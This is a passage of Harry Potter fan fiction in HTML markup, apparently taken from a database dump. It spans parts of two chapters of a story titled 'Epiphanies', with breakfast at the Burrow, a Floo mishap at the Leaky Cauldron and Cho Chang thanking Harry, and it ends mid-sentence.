class="MsoBlockText" style="text-align:right" align="right">MINERVA McGonagall<br>\nDeputy Headmistress</p>\n\n<p class="MsoBodyTextFirstIndent">&nbsp;</p>\n\n<p class="MsoBodyTextFirstIndent">The silence following the reading of the letter\nwas broken by a loud snicker from George, who said, &#8220;Well, Ginny. Looks like\nyou&#8217;re going to follow in the illustrious footsteps of Bill and Percy &#8230; what&#8217;s\nit gonna be? Prefect next year, and then Head Girl in seventh year?&#8221;</p>\n\n<p class="MsoBodyTextFirstIndent">Ginny blushed even deeper and was about to\nretort when George held up his hands, &#8220;Just <i>joking</i>, Ginny! That&#8217;s great\n&#8230; I think we&#8217;ll be the only family with <i>three</i> Head <i>People</i> from\nHogwarts.&nbsp; Kind of hits you right here\n(hitting his chest), doesn&#8217;t it?&#8221;</p>\n\n<p class="MsoBodyTextFirstIndent">&#8220;Four, if we count Hermione in &#8230; Owww!&#8221; Fred\nsaid, as George kicked him under the table.</p>\n\n<p class="MsoBodyTextFirstIndent">Hermione, blushing, laughed at the two. &#8220;Much\nas I love you guys, I&#8217;m still a Granger at heart, not a Weasley &#8230; I&#8217;m sorry,\nMrs. Weasley!&#8221;</p>\n\n<p class="MsoBodyTextFirstIndent">&#8220;No problem, dear. I understand &#8230;&#8221; Molly\nWeasley smiled at her, while looking daggers at Fred, who had mumbled, &#8220;More&#8217;s\nthe pity!&#8221; under his breath.&nbsp;\nFortunately, no one else at the table heard this.</p>\n\n<p class="MsoBodyTextFirstIndent">&#8220;So, Harry,&#8221; Ron said bracingly. &#8220;Which subject\nwill you be taking?&#8221;</p>\n\n<p class="MsoBodyTextFirstIndent">&#8220;Huh? Oh &#8230; ummm, I haven&#8217;t decided yet.&#8221; Harry\nsaid, looking down at his plate, and playing with the food on it. He looked up\nat Ron with a smile, &#8220;I&#8217;ll probably toss a coin and see what comes up on August\n30th.&#8221;</p>\n\n<p class="MsoBodyTextFirstIndent">&#8220;Oi!&#8221; Ron laughed, tossing a roll at him.\n&#8220;After two years of Divination, that&#8217;s the <i>best</i> you can come up with? No\ntea leaves, crystal balls or something?&#8221;</p>\n\n<p class="MsoBodyTextFirstIndent">While this exchange was going on, Fred and\nGeorge had been surreptitiously kicking each other under the table as they\nwatched the almost similar reactions of their sister, and Hermione.&nbsp; Both girls had slightly reddened cheeks &#8230;\nGinny was pushing food around her plate, while Hermione seemed to be engrossed\nwith memorizing the letter naming her as a prefect.</p>\n\n<p class="MsoBodyTextFirstIndent">Ron continued, &#8220;It shouldn&#8217;t be that difficult\na choice. What do you think, Ginny? Hermione? Which one should Harry take?&#8221;</p>\n\n<p class="MsoBodyTextFirstIndent">Both girls looked up in surprise, and glanced\nat each other, only to look away at once. Surprisingly, both girls seemed to be\nat a loss for words, gesturing for the other to make the first suggestion. Ron\nlooked at the two, brow furrowed in surprise. Harry, however, was looking at\nthe ceiling as if the answer could be found there.</p>\n\n<p class="MsoBodyTextFirstIndent">The silent tableau was suddenly broken when the\ntwins suddenly stood up and bolted out of the room, apologizing profusely as\nthey left. Molly, frowning at their departing backs, said, &#8220;I don&#8217;t think you\nneed to make a decision right now, Harry dear. Why don&#8217;t you put it off for the\nmoment &#8230; Arthur and Percy should be home tonight, you can ask their advice.&#8221;</p>\n\n<p class="MsoBodyTextFirstIndent">Harry, Hermione and Ginny all smiled at her, as\nHarry said, &#8220;Thanks, Mrs. Weasley. I think I&#8217;ll do just that.&#8221;</p>\n\n<p class="MsoBodyTextFirstIndent">&#8220;What about your books, Harry?&#8221; Hermione asked.</p>\n\n<p class="MsoBodyTextFirstIndent">He smiled at her, &#8220;I can always borrow the\nbasic references from you and Ginny &#8230; or I can get both later when we get to\nDiagon Alley. It&#8217;s not a problem.&#8221;</p>\n\n<p class="MsoBodyTextFirstIndent">&#8220;I don&#8217;t believe it!&#8221; They all looked in\nsurprise at Ron, who had spoken. &#8220;You&#8217;re gonna turn into a bookworm like these\ntwo, mate! I expect I won&#8217;t be seeing you around as much since you&#8217;ll soon be\nburied in the library &#8230;&#8221;</p>\n\n<p class="MsoBodyTextFirstIndent">&#8220;Ron!&#8221; Both girls exclaimed loudly, and slapped\nhim on the arm. Their impending tirades were stopped when Fred and George,\nfurtively wiping their eyes, came back and sat down to their unfinished\nbreakfasts.&nbsp; Mrs. Weasley glared at them\nand they focused on their plates, hastily finishing up their eggs and bangers.</p>\n\n<p class="MsoBodyTextFirstIndent">&#8220;Goodness, look at the time!&#8221; Mrs. Weasley\nexclaimed. &#8220;Children, you&#8217;d better hurry up if we&#8217;re still going to Diagon\nAlley.&#8221; Obediently, they all bent to their plates, and resumed eating.</p>\n\n<p class="MsoBodyText" style="text-align:center" align="center">*&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *</p>\n\n<p class="MsoBodyTextFirstIndent">Ginny tackled her food with renewed energy.\nShe&#8217;d been nonchalant about her grades, simply telling her parents that she was\ndoing quite well &#8230; knowing the teasing she will be getting from Ron and the\nTwins if they thought she was trying to emulate <i>Percy</i>.&nbsp; In truth, it was <i>Bill&#8217;s</i> footsteps\nthat she was following in &#8230;</p>\n\n<p class="MsoBodyTextFirstIndent">And she would <i>finally</i> get a chance to\nwork closely with Harry! She knew that the others thought she still had a <i>major</i>\ncrush on The Boy Who Lived &#8230; the reality was that <i>that</i> had been gone\nsince her second year at Hogwarts &#8230; she <i>wanted</i> this chance to work with\nhim, however &#8230; it was the opportunity to pay him back for rescuing her from the\nChamber of Secrets &#8230;</p>\n\n<p class="MsoBodyTextFirstIndent">Her mind wandered back to that eventful year\nand, as the memories grew darker, she focused her mind on the single incident\nthat served as her talisman against the darkness that surrounded her: the\nmoment of waking up in the Chamber, and seeing Harry Potter, in bloodstained\nrobes hurrying towards her &#8230; showing her the destroyed diary &#8230; helping her to\nher feet and guiding her out &#8230; and all the time, holding &#8230; <i>holding</i> her &#8230;</p>\n\n<p class="MsoBodyTextFirstIndent"><i>That</i> was the single <i>brightest</i>\nspot in her memories of her first year at Hogwarts &#8211; not the moments that\nembarrassed her &#8230; not the fact of waking up, <i>alive</i>, after the torturous\nand traitorous thoughts that filled her mind for <i>days</i> &#8230; <i>not</i>\nseeing Mum and Dad in McGonagall&#8217;s office, and being wrapped in her Mum&#8217;s warm\narms &#8230; <i>but of Harry holding her</i> &#8230; </p>\n\n<p class="MsoBodyTextFirstIndent">She glanced up then, and caught Harry looking\nat her, his green eyes sparkling with an inner mischief. She smiled at him, and\nhe winked back at her &#8230; and Ginny felt a warm flush rising in her face. &#8216;Darn\nit,&#8217; she thought. &#8216;Will I <i>ever</i> get over that blushing and flushing\nwhenever Harry paid her any sort of attention? <i>Everyone</i> thinks that it&#8217;s\nbecause I <i>still</i> have a crush on him &#8230;&#8217;</p>\n\n<p class="MsoBodyTextFirstIndent">And she sighed to herself.&nbsp; Simply because she had never told <i>anyone</i>\n&#8211; even Harry &#8211; about it. But what the <i>hell</i> do you tell them? &#8216;Sorry, I\ndon&#8217;t have a crush on you anymore &#8230; I still blush, however, because you saved\nmy life, you know &#8230;&#8217; Hearing that statement in her head, she knew how everyone\nwould react &#8230; they&#8217;d simply <i>laugh</i> at her &#8230;</p>\n\n<p class="MsoBodyTextFirstIndent">Well, maybe not, she thought, as she\ncontemplated her now-emptied plate. <i>Harry</i> wouldn&#8217;t laugh at her &#8230; he&#8217;d\nprobably be embarrassed by it &#8230; try to talk her out of it &#8230; well, she sighed\nagain, at least she&#8217;ll have a chance to discuss it with him &#8230;</p>\n\n<p class="MsoBodyTextFirstIndent">Or maybe not. She&#8217;d looked up in time to see\nHarry glance at Hermione &#8211; and caught Hermione&#8217;s warm smile at Harry, which <i>he\n</i>returned. &#8216;Hmph&#8217;, she thought, &#8216;I sometimes wonder about those two.&#8217;&nbsp; In spite of her brave words to Ron &#8230; she <i>still</i>\nwondered about them.</p>\n\n<p class="MsoBodyTextFirstIndent">She&#8217;d known Hermione for about as long as she&#8217;d\nknown Harry, of course &#8230; they&#8217;d shared a compartment on the Hogwarts Express in\nher first year, when Ron and Harry were left behind &#8230; and arrived at Hogwarts\nin her father&#8217;s flying Ford Anglia.&nbsp;\nShe&#8217;d felt like a lost lamb on the train &#8230; Percy had gone off with the\nPrefects (and probably to snog with Penelope) &#8230; the Twins had run off with Lee\nJordan &#8230; luckily, Hermione had introduced herself &#8230; and they spent the trip\nalternately laughing and worrying about her missing brother and his friend.</p>\n\n<p class="MsoBodyTextFirstIndent">It was great fun for the young Ginny &#8230; it was\nan opportunity to get to know Harry better without him knowing &#8230; everything\nHermione told her about their first year had, of course, gone into that\ninfernal diary (Ginny blocked her mind again about <i>what</i> happened to\nthose memories) &#8230; and she&#8217;d formed her first impressions about the girl who had\nfeatured so prominently in Ron and Harry&#8217;s stories.</p>\n\n<p class="MsoBodyTextFirstIndent">She could see the bossiness and take-charge\nmanner that the boys had so often laughed about &#8230; but she could also see the\nintelligence and thirst for knowledge that, surprisingly, <i>Harry</i> had\ntalked about during his summer stay with the Weasleys.&nbsp; She&#8217;d felt some sympathy for Hermione&#8217;s\ninsecurities about fitting in with the wizarding world &#8230; although Ginny was a\npure-blood, she didn&#8217;t have the snobbish pride for it that others, like that\nodious Malfoy had. </p>\n\n<p class="MsoBodyTextFirstIndent">She&#8217;d tried reassuring Hermione about this,\npointing out that there were many Muggle-born witches around (she recalled her\nMum saying that Harry&#8217;s <i>Mum</i> was also a Muggle-born) &#8230; They&#8217;d left the\ntrain as friends that day -- but had drifted apart over the course of the\nyear.&nbsp; She had her own friends, of\ncourse (including Colin Creevey and his ever-present camera trying to document\nevery moment of <i>Harry&#8217;s</i> life at Hogwarts) &#8230; and Hermione had Harry and\nRon, of course.</p>\n\n<p class="MsoBodyTextFirstIndent">Plus she had the diary to confide her thoughts\nand fears to &#8230; she shivered again, involuntarily and quickly focused on her\nmental talisman of Harry holding her as he led her out of the Chamber to drive\nback the darkness &#8230;</p>\n\n<p class="MsoBodyTextFirstIndent">&#8220;Ginny &#8230; Ginny &#8230; hey, Ginny, <i>wake up!</i>&#8221;\nFor a second, her mind was confused &#8230; she was looking into Harry&#8217;s eyes &#8230;\nhearing Harry&#8217;s voice &#8230; felt Harry <i>holding</i> her &#8230; and snapped her head\nwhen she realized that she was sitting in The Burrow &#8230; </p>\n\n<p class="MsoBodyTextFirstIndent">&#8220;Excuse me?&#8221; she asked, looking around in\nconfusion &#8211; seeing Harry and Hermione&#8217;s worried faces, her brothers&#8217; broad\ngrins (doubtless, they were thinking that she was lost in a dream world with <i>Harry</i>),\nand her Mom&#8217;s look of concern.&nbsp; </p>\n\n<p class="MsoBodyTextFirstIndent">&#8220;Are you all right, Ginny?&#8221; She turned to\nHarry&#8217;s worried face. &#8220;Hermione and I were talking about Arithmancy, and we\nwanted to get your opinion &#8230; you seemed to be spaced out there for a while.&#8221;</p>\n\n<p class="MsoBodyTextFirstIndent">&#8220;Oh &#8230; I was just &#8230; thinking of something.&nbsp; Sorry, what was it you wanted my opinion\non?&#8221; She forced a laugh, although it sounded hollow to her ears, &#8220;But, really,\nHarry &#8230; Hermione knows <i>more</i> about that subject that I do!&#8221;</p>\n\n<p class="MsoBodyTextFirstIndent">&#8220;Well, I should, Virginia Weasley!&#8221; Ginny looked\nat Hermione in surprise (&#8216;is she <i>jealous</i>?&#8217; she wondered in panic), but\ncaught Hermione&#8217;s warm and amused smile at the same time, &#8220;I&#8217;ve been taking the\nsubject for a <i>year</i> longer than you &#8230;&#8221;</p>\n\n<p class="MsoBodyTextFirstIndent">&#8220;And you&#8217;re at the top of your class &#8230;&#8221; Ginny\nresponded.</p>\n\n<p class="MsoBodyTextFirstIndent">&#8220;Well, <i>your</i> grades are apparently better\nthan mine &#8230;&#8221;</p>\n\n<p class="MsoBodyTextFirstIndent">&#8220;But I&#8217;ve got to thank <i>you</i> for steering\nme there&nbsp; rather than <i>Divination</i>.&#8221;</p>\n\n<p class="MsoBodyTextFirstIndent">&#8220;I thought you could handle it &#8230; you know, the <i>hard</i>\nwork, rather than the <i>soft</i> option <i>some</i> people have opted for &#8230;&#8221;</p>\n\n<p class="MsoBodyTextFirstIndent">&#8220;I wonder,&#8221; Ginny said, &#8220;does it mean that\nthose people are really <i>soft in the head</i>?&#8221;</p>\n\n<p class="MsoBodyTextFirstIndent">&#8220;I think so,&#8221; Hermione responded, to the pained\n&#8220;Oooohs&#8221; of the Weasley twins. Before she could say anything else, Ron jumped\nin with the comment, &#8220;Will you two <i>shut it</i>? You&#8217;re beginning to sound\nlike a convention of Ravenclaw witches!&#8221;</p>\n\n<p class="MsoBodyTextFirstIndent">The two girls turned and gave him the same sort\nof glare, and were imminently satisfied to see him actually flush and push back\nhis chair in a defensive gesture. &#8220;Will you quit it, you two?&#8221; Ron said in a plaintive\nvoice. &#8220;I get enough of that from <i>her</i> (pointing to Hermione), without\ngetting more of the same from <i>you</i> (turning to Ginny)!&#8221;</p>\n\n<p class="MsoBodyTextFirstIndent">They broke off their glares and smiled at each\nother. &#8220;I think it needs a little more work, Ginny,&#8221; Hermione said, &#8220;but for a\nfirst time effort &#8230; I think I&#8217;ll give you an &#8216;A&#8217;.&#8221;</p>\n\n<p class="MsoBodyTextFirstIndent">&#8220;Oh, so you&#8217;re grading each other&#8217;s performance\nnow, are you?&#8221; Ron butted in, knowing, as the words escaped his mouth, that he\nwas really asking for it.&nbsp; The two girls\ndidn&#8217;t disappoint him, turning the full force of their combined glares at him.</p>\n\n<p class="MsoBodyTextFirstIndent">He pushed his chair back further, and was\nrescued only when Harry gave a slight snicker from behind the napkin he was\nusing to ostentatiously wipe his mouth &#8211; a prelude to suppressed laughter.&nbsp; This was, however, easily cut off as both\ngirls turned to face him &#8230; Harry hastily threw his napkin on the table and\nstood up. &#8220;I &#8230; I&#8217;d better change my shirt if we&#8217;re going to Diagon Alley.\nExcuse me!&#8221;</p>\n\n<p class="MsoBodyTextFirstIndent">As Harry beat a hasty retreat, Ron called after\nhim, &#8220;Coward!&#8221;</p>\n\n<p class="MsoBodyTextFirstIndent">As the two girls turned to him, he also stood\nup and made his excuses. He could feel the stares of the two girls boring into\nhis back and rushed up to his room. He vaguely heard Ginny say, casually,\n&#8220;Anyone else?&#8221; to be followed by the clatter of chairs as the twins <i>also</i>\nbeat a retreat &#8230;</p>\n\n<p class="MsoBodyTextFirstIndent">Back at the table, the two girls smiled and\nerupted into laughter, giving each other high fives at the same time.&nbsp; &#8220;I can see you&#8217;ll have no problem\ncontrolling the boys,&#8221; Mrs. Weasley said to them, at which both girls blushed\ndeeply.</p>\n\n<p class="MsoBodyTextFirstIndent">They started gathering plates and the breakfast\ndishes as Mrs. Weasley went to the kitchen. Hermione stopped Ginny before she\ncould leave the room, asking, &#8220;Everything OK, Ginny? You got Harry worried\nthere for a moment&nbsp;&nbsp; &#8220;</p>\n\n<p class="MsoBodyTextFirstIndent">Ginny shook her head, not looking at Hermione\nand wondering whether Hermione could <i>really </i>pick up on what Harry was\nthinking&nbsp; &#8230; &#8216;probably comes from all\nthat time spent together,&#8217; she thought. She wondered whether she should talk\nabout it with Hermione &#8230; but decided not to &#8230; not until she can clarify what <i>their</i>\nrelationship was.</p>\n\n<p class="MsoBodyTextFirstIndent">&#8220;Ginny!&#8221; She looked at Hermione&#8217;s concerned\nface. &#8220;Talk to Harry, will you?&nbsp; No\nmatter what anybody thinks, you&#8217;re also his <i>friend </i>&#8230; You&#8217;re not his best\nfriend&#8217;s sister &#8230; you&#8217;re also his <i>friend</i>! <i>&nbsp;</i>Harry will understand.&#8221;</p>\n\n<p class="MsoBodyTextFirstIndent">&#8220;Thanks, Hermione,&#8221; she smiled at her. &#8220;I&#8217;ll &#8230;\nI&#8217;ll finish up here &#8230; you better get ready to go to Diagon Alley.&#8221;</p>\n\n<p class="MsoBodyTextFirstIndent">As Ginny left the room with the dishes,\nHermione looked at her, wondering what she could do to help.&nbsp; She shook her head and thought, &#8220;I&#8217;d better\ndiscuss that with Harry &#8230; &#8220; as she turned and went to her room.</p>\n\n\n\n\n\n\n'),
	(125, 5, '\n\n\n\n<p class="MsoTitle">Epiphanies &#8211; 04</p>\n\nChapter 04 &#8211; A Wizard and Two Witches\n\n<p class="MsoBodyTextFirstIndent">Hermione Granger was breathing heavily atop a\nbreathless and sprawled Harry Potter, her chocolate-brown eyes locked on the\ngreen eyes looking at her through his trademark glasses. She could feel his arms\nholding her waist, where they had placed themselves in an automatic gesture of\nprotection.</p>\n\n<p class="MsoBodyTextFirstIndent">As Hermione tried to scramble up and out of the\nway, she was slammed back into Harry, foreheads touching, lips suddenly meeting\nfor a single, electrifying instant before an embarrassed Ginny Weasley could\nclimb off Hermione&#8217;s back.</p>\n\n<p class="MsoBodyTextFirstIndent">&#8216;<i>Next</i> time, I&#8217;ll try the Knight Bus!&#8217;\nHermione swore to herself.&nbsp; Floo powder,\nno matter how convenient, was definitely <i>not</i> her cup of tea. The others\nhad tried to warn her about this form of wizard travel but, as with all things,\nexperience was the best teacher &#8230; she&#8217;d had no problems with leaving the Burrow\n&#8230; she&#8217;d enunciated <i>properly</i> to make sure that she came out of the Leaky\nCauldron&#8217;s fireplace &#8230; she&#8217;d braced herself when she felt the slowing down the\nothers talked about as she neared her destination &#8230;</p>\n\n<p class="MsoBodyTextFirstIndent">And had been unable to control her feet as she\nburst out of the fireplace.</p>\n\n<p class="MsoBodyTextFirstIndent">She&#8217;d tripped &#8211; and fell right into the waiting\narms of Harry Potter. The momentum of her entrance caused him to sprawl\nbackwards, and she had fallen on top of him, his strong arms closing around her\nin that instinctive protectiveness that was so much a part of his personality &#8230;\nonly to fall back down as Ginny had tripped over the bag that Ron had dropped\nnear the fireplace portal.</p>\n\n<p class="MsoBodyTextFirstIndent">Hermione had been about to scramble out of the\nway the second time when Harry suddenly rolled her over, and placed his warm\nbody above hers &#8211; mere <i>seconds</i> before Molly Weasley stepped out of the\nfireplace &#8211; and walked all over the place they had been lying down on.</p>\n\n<p class="MsoBodyTextFirstIndent">Before either of them could move, Ron&#8217;s\nplaintive voice rose above the suddenly &#8211;silenced Leaky Cauldron: &#8220;Are you two\ngoing to make that a <i>habit</i>?&#8221;</p>\n\n<p class="MsoBodyTextFirstIndent">And <i>that</i>, Hermione thought, had been the\nperfect dramatic entrance for this day of shopping at Diagon Alley.&nbsp; She&#8217;d tried to hide her embarrassment as she\ndusted herself off, avoiding the stares and looks of the Leaky Cauldron&#8217;s\npatrons &#8230; while at the same time, trying to avoid the eyes of her companions.</p>\n\n<p class="MsoBodyTextFirstIndent">As such, she had only given herself a cursory\nlook in the Leaky Cauldron&#8217;s mirror, insisting that she was all right and\ndidn&#8217;t need <i>anything</i> &#8230; and now, she had to endure the stares and avid\nlooks of various witches of all ages &#8230; all of them, no doubt, wondering where\nshe had gotten the bruised lips from.</p>\n\n<p class="MsoBodyTextFirstIndent">She wondered what they would say if she told\nthem that it came from snogging Harry Potter on the floor of the Leaky\nCauldron.</p>\n\n<p class="MsoBodyTextFirstIndent">She shook her head impatiently. Now why should\nshe be thinking about snogging her best friend? &#8216;<i>In fact,&#8217;</i>she thought, <i>&#8216;why\nshould I be </i>thinking<i> about </i>snogging<i> at all? I&#8217;m too </i>young<i>\nfor that &#8230; I&#8217;m only </i>fourteen<i>, for crying out loud</i> &#8230; <i>well, fifteen\nin a few months, anyway &#8230;but I&#8217;m </i>too <b>young</b> <i>for that!&#8217;</i></p>\n\n<p class="MsoBodyTextFirstIndent">Or was she?</p>\n\n<p class="MsoBodyTextFirstIndent">She stopped so abruptly as the thought seized\nher that Harry, who was walking beside her, also stopped and looked at her, a\nquestion in his eyes. She smiled at him, shook her head slightly, and proceeded\nto walk on.&nbsp; Harry raised an eyebrow at\nher, and continued talking with Ginny as if nothing had happened.</p>\n\n<p class="MsoBodyTextFirstIndent">Young? Of course, in both the wizarding and\nMuggle world, fifteen was still <i>young</i> (she smiled as she started humming\nto herself, &#8220;I&#8217;m not a girl, not yet a woman &#8230;&#8221;). She glanced at her friend,\nand caught his smiling profile as he listened to something Ginny was saying and\nwas struck with a sudden thought.</p>\n\n<p class="MsoBodyTextFirstIndent">&#8216;<i>My best friend has never been </i><b>young</b>\n<i>&#8230; at least, not since he stepped into Hogwarts and the wizarding world.&#8217;</i></p>\n\n<p class="MsoBodyTextFirstIndent">Or at least, not &#8216;young&#8217; in the same way that\nother teenage wizards or Muggles were ... <i>young</i>. She knew his story well\nenough: living alone, abused and without any knowledge of magic for most of his\nchildhood, &#8220;escaping&#8221; into Hogwarts at eleven only to confront the Dark Lord\nwho had killed his parents when he was a baby &#8230; confronting a <i>basilisk</i> at\ntwelve &#8230; fighting Dementors at thirteen &#8230; and again, confronting his deadliest\nenemy, an enemy who had vowed to kill <i>him</i> at fourteen &#8230;</p>\n\n<p class="MsoBodyTextFirstIndent">It&#8217;s a wonder, she thought, that <i>Harry</i>\ndoesn&#8217;t have any grey hairs &#8230; going through all that in the space of four years\nwould be enough to make one&#8217;s hairs turn <i>white</i> &#8230; maybe that&#8217;s why the\nGoblet of Fire <i>didn&#8217;t</i> reject Harry last year &#8230; the Goblet must have\nthought that Harry was <i>older</i> because of what he&#8217;d been through &#8230; </p>\n\n<p class="MsoBodyTextFirstIndent">But what does that make of <i>me</i>, she\nthought. She&#8217;d been nearly killed by a troll at eleven &#8230; been Petrified by a\nBasilisk at twelve &#8230; helped <i>Harry</i> in the escape of a dangerous convict\nat thirteen &#8230; had worried, fussed, and fretted over Harry through all those\nyears, especially <i>last</i> year when he was the Hogwarts champion &#8230; or <i>one</i>\nof them, she corrected herself, remembering what had happened to Cedric\nDiggory. </p>\n\n<p class="MsoBodyTextFirstIndent">She suppressed a shiver at the thought &#8230;\nremembering the moment when they learned that Harry and Cedric had disappeared\nfrom the maze &#8230; that was <i>worse</i> than Harry fighting the Horntail! At\nleast she could <i>see</i> him as he flew the Firebolt &#8230; she didn&#8217;t <i>know</i>\nwhat had happened to him in the maze &#8230;&nbsp;\nand she remembered the way he looked when Professor Dumbledore brought\nhim into the Hospital Wing that night.</p>\n\n<p class="MsoBodyTextFirstIndent">She forced her mind from that night, and\nreflected on the other events of that eventful year &#8230; and wondered if the <i>maturity</i>\nforced on her by her years of friendship with Harry Potter was what drew <i>Viktor</i>\nto her. She frowned at <i>that</i> thought &#8230; Viktor Krum had been her first <i>real</i>\ndate, and the <i>first</i> person who had seen her as more than a bushy-haired,\nknow-it-all, witch!</p>\n\n<p class="MsoBodyTextFirstIndent">She&#8217;d been flattered by his attention, no doubt\nabout <i>that</i>. But now &#8230; she recalled the shock on his face when she told\nhim that she was only <i>fourteen</i> (somehow, it had never come up before the\nYule Ball) &#8230; he had gallantly told her that she didn&#8217;t look it (&#8216;how <i>flattering</i>!&#8217;\nshe&#8217;d thought at the time) &#8230; but now, <i>now</i>, she wondered about it &#8230; </p>\n\n<p class="MsoBodyTextFirstIndent">And forced her mind from thoughts of Viktor and\nthe summer just past.&nbsp; She glanced at\nHarry, who was listening to something that Ginny was saying, and heaved a sigh\nof relief.&nbsp; Harry&#8217;s a <i>real</i>\nfriend, she reflected. Thank God that Harry had never asked about her summer in\nBulgaria! He&#8217;d taken the attitude, when she showed up at The Burrow a week ago,\nthat it was <i>her</i> story to tell &#8230; if she chose <i>not</i> to share\nanything with her best friend (and he had winked at her), he&#8217;d understand.</p>\n\n<p class="MsoBodyTextFirstIndent">She smiled at the thought. He&#8217;d been as good as\nhis word &#8230; and Ginny told her that he&#8217;d threatened <i>Ron</i> with emasculation\nif he even opened his trap about Viktor and her Bulgarian summer &#8230; she was\nthankful for that.&nbsp; Not that her summer\nvacation was something to remember &#8230; it was, as far as she was concerned, a\nsummer best forgotten.</p>\n\n<p class="MsoBodyTextFirstIndent">Hermione tensed, her thoughts distracted, as\nshe saw a small, very pretty witch with long black hair coming towards them. </p>\n\n<p class="MsoBodyText" style="text-align:center" align="center">*&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *</p>\n\n<p class="MsoBodyTextFirstIndent">Harry Potter had been enjoying the trip to\nDiagon Alley so far (aside from being flattened by his best friend twice in\nless than a minute!), especially as it gave him a chance to enjoy the bustle of\nthe crowded wizard&#8217;s marketplace. He still felt uncomfortable about it all &#8211;\nknowing that he was a <i>wizard</i>, after eleven years of &#8220;There is no such\nthing as magic!&#8221; being drummed into his head, in spite of the fact that he can\n&#8211; and <i>did</i> &#8211; do magical things &#8230; there were times when he was <i>sure </i>that\nhe&#8217;d been living in a dream world &#8230; that he&#8217;d fallen into a coma for the past\nfour years, and will soon wake up and find himself trapped in the <i>real</i>\nnon-magical world.</p>\n\n<p class="MsoBodyTextFirstIndent">He&#8217;d been enjoying Ginny&#8217;s chatter about her\nArithmancy classes, while leaving Hermione alone (he didn&#8217;t think teasing her\nabout her awkward arrival at the Leaky Cauldron earlier was a good move!) when\nhe felt her tense up &#8211; and immediately scanned the area around them.</p>\n\n<p class="MsoBodyTextFirstIndent">And saw Cho Chang approaching.</p>\n\n<p class="MsoBodyTextFirstIndent">A flurry of confused memories boiled up within\nhis mind at the sight of her diminutive form: seeing her for the first time at\nthe Hogwarts Quidditch pitch in third year; the lurch in his stomach when he\nsaw her again during the Quidditch World Cup last summer; apologizing to her\nfor being rude soon after he&#8217;d been named as a Hogwarts champion last year &#8230;\nscrewing up the courage to ask her to go with him to the Yule Ball &#8211; and\nlearning that <i>Cedric Diggory</i> had already asked her &#8230;</p>\n\n<p class="MsoBodyTextFirstIndent">And, the most painful memory of all: seeing Cho\nwith tears pouring silently down her face as Dumbledore honored the memory of\nCedric Diggory during the Leaving Feast last school year.</p>\n\n<p class="MsoBodyTextFirstIndent">He&#8217;d sent Hedwig with a long letter to Cho a\nweek after his return to Privet Drive; Dumbledore&#8217;s words at the Leaving Feast\nhad unlocked something within him &#8211; he&#8217;d been able to tell his friends\neverything that had happened during the Third Task on the way home on the\nHogwarts Express.&nbsp; It had also enabled\nhim to open up in that letter &#8211; to explain to Cho in a clear, precise manner\nwhat had happened to Cedric &#8230; and to express, as clearly as he could, the pain\nand guilt that still rode his shoulders and&nbsp;\nhis mind.</p>\n\n<p class="MsoBodyTextFirstIndent">And now, as he saw Cho approaching, the horror\nof that night &#8211; and all the attendant pain and guilt &#8211; came crashing through\nhis mind &#8211; forming a pit of utter coldness in his stomach. He didn&#8217;t know\nwhether to turn away and run, but the courage that marked the heart of a\nGryffindor made him pause, prepared to confront this development.</p>\n\n<p class="MsoBodyTextFirstIndent">As he braced himself for the encounter, he felt\na warm, soft hand grab his own &#8211; without looking down, he knew that Hermione\nwas holding him &#8230; and he felt a calmness that was absent only seconds before flow\nover him, washing away the coldness that he felt.</p>\n\n<p class="MsoBodyTextFirstIndent">&#8220;Hello, Harry,&#8221; Cho Chang said. She&#8217;d glanced\nat Hermione and Ginny briefly (raising an eyebrow at Hermione&#8217;s bruised lips),\nbut her eyes, drifting down, caught sight of their held hands &#8211; and she looked\nat Harry with a wistful smile.</p>\n\n<p class="MsoBodyTextFirstIndent">&#8220;Cho &#8230; I &#8230; I &#8230;&#8221; Harry stammered.</p>\n\n<p class="MsoBodyTextFirstIndent">&#8220;I wanted to thank you for your owl, Harry,&#8221;\nCho said, stopping him. &#8220;You&#8217;ve answered a lot of questions about what happened\n&#8230;&#8221;</p>\n\n<p class="MsoBodyTextFirstIndent">&#8220;Are you all right now?&#8221; he asked, finally\ngetting the words out of his suddenly tight throat.</p>\n\n<p class="MsoBodyTextFirstIndent">Cho smiled. &#8220;Yes, I am. Thank you for asking &#8230;\nIt was quite hard for a while, because no one could tell me what had happened,&#8221;\nshe paused as she held up a hand to Harry, &#8220;I understand, Harry &#8230; it must have\nbeen difficult for you to talk about, so soon after what happened. Cedric&#8217;s\nparents told me some of it, but they were still in shock &#8230; when your letter\narrived during the summer, it helped settle some of the questions I had.&#8221;</p>\n\n<p class="MsoBodyTextFirstIndent">She took a deep breath. &#8220;I &#8230; uhm &#8230; thank you for\nbringing his body back, Harry. It meant a lot to his parents &#8230; it meant a lot\nto <i>me</i> &#8230; I was at least able to say &#8216;good-bye&#8217; to him.&#8221;</p>\n\n<p class="MsoBodyTextFirstIndent">Hermione turned away, not willing to let the\nother girl see tears sparkling in her eyes.&nbsp;\nShe saw Ginny turning away at the same time, and felt Harry giving her\nhand a reflexive squeeze. She squeezed back, trying to communicate her support\nfor her friend, as a silence fell &#8211; all of them, no doubt haunted once again by\nthe memories of that night, a bare four months in their past.</p>\n\n<p class="MsoBodyTextFirstIndent">Cho Chang broke the silence, extending her hand\nto Harry. He held it for a moment, and Cho suddenly stood on tiptoes to kiss\nhis cheek, saying, &#8220;Thank you, again, Harry Potter. For everything.&#8221;</p>\n\n<p class="MsoBodyTextFirstIndent">She glanced at Hermione and, with a wistful\nsmile and a meaningful look, said, &#8220;Take care of him, Hermione. Oh! And,\ncongratulations for being named a Prefect.&#8221;</p>\n\n<p class="MsoBodyTextFirstIndent">Hermione&#8217;s mouth dropped open at that, and\nHarry asked the question she was unable to ask, &#8220;Uhm &#8230; how did you learn of <i>that</i>,\nCho? Mion &#8230; I mean, Hermione, learned of the appointment only this morning.&#8221;</p>\n\n<p class="MsoBodyTextFirstIndent">Cho looked puzzled for a moment, brows coming\ntogether in thought. &#8220;I &#8230; someone mentioned it &#8230; I don&#8217;t remember who &#8230;&#8221; She\nshook her head again, &#8220;But still &#8230; 